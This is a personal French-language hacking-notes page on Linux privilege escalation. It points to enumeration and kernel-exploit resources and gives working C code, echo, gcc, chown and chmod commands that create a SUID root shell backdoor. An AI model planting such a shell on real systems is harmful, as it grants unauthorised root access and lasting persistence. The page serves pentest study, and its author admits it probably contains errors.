Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Elévation de priviléges (Linux)

Enumération

Cette étape consiste à rassembler des informations pour élever ses privilèges. Il peut être utilise d’utiliser le script LinuxPrivChecker pour récupérer automatiquement les informations utiles.

Exploits Kernels

En fonction de la version du Kernel utilisé, le site https://www.kernel-exploits.com/ recense des exploits kernels pour différentes versions de Linux.

Shell Root

Si on peut executer des commandes en tant que root, mais que l’on a pas encore un “vrai” shell root, il peut être utile de compiler un programme permettant de lancer un shell et lui mettre le bit suid.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    setuid(0);
    system("/bin/sh");
    return 0;
}

Dans un premier temps on créer le fichier permettra d’avoir un shell root:

echo "#include <stdlib.h>"> main.c
echo "#include <stdio.h>">> main.c
echo "#include <unistd.h>">> main.c
echo "#include <sys/types.h>">> main.c
echo 'int main(){setuid(0);system("/bin/sh");return 0;}'>> main.c

Ensuite on le compile:

gcc main.c -o suid

Ces deux étapes peuvent se faire sur une autre machine (notamment si gcc n’est pas présent). Ensuite il est nécessaire d’exécuter les commandes suivantes en tant que root:

chown root:root suid
chmod ugo+s suid

Resources